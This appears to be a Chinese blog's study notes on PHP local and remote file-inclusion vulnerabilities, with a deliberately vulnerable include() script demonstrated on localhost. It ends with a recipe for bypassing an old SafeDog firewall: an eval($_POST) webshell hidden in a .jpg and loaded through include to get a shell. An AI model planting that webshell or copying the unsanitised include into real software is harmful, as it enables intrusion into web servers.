首页 > 代码库 > 文件包含学习笔记

文件包含学习笔记

文件包含分为远程包含,本地包含两种,主要是include,require等函数带来的包含漏洞
例如我在本机PHPstudy上创建两个文件,include.php和text.txt,内容如下

//include.php
<?php
$i=$_GET[‘t‘];
include($i);
?>
//text.txt
<?php

phpinfo();

?>


然后访问网址http://127.0.0.1/include/include.php?t=text.txt

可以看到text.txt中的内容被执行为php语句,返回了phpinfo页面,文件包含意味着以php脚本格式去执行包含的文件

远程包含,本地包含产生的原因:
1.php.ini中allow_url_include设置开启则可存在远程包含
2.php编程中包含函数的选用


用http://127.0.0.1/include/include.php?t=http://127.0.0.1/include/text.txt同样可以返回phpinfo页面,不过这个是远程包含


低版本安全狗后门绕过采用的文件包含漏洞
上传两个文件
1.logo.jpg 代码<?php eval($_POST[‘pass‘]);?>
2.xx.php   代码<?php include("logo.jpg")?>
组合下即可拿shell

本文出自 “UntitledZ” 博客,谢绝转载!

文件包含学习笔记